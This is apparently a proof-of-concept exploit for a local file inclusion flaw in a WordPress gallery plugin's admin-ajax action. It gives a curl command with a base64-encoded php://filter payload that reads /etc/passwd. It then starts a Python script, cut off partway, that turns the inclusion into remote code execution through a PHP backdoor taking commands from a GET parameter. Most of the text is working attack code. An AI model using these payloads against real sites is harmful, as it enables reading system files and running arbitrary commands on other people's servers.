Invoke the following shell command(s) to disclose the /etc/passwd file:
# Define the payload ("pagepath" value is set to a php filter to include a file)
payload=$(echo -n '{"pagepath": "php://filter/convert.base64-encode/resource=/etc/passwd"}' | base64 -w0)
# Invoke the request with the payload and base64 decode the response
curl -s 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes='"$payload" | base64 -d
Alternatively, to exploit the local file inclusion and escalate it to a RCE,
execute the following python script:
```
import base64
import requests
base_url = "http://127.0.0.1:7777/wp-admin/admin-ajax.php"
command = "id" # The command to execute on the vulnerable instance
# payload (LFI 2 RCE) generated via https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# th php://filter/convert chain constructs a tiny backdoor which allows passing a
# command via a GET parameter "0" (zero) which is then executed: <?=`$_GET[0]`;;?>
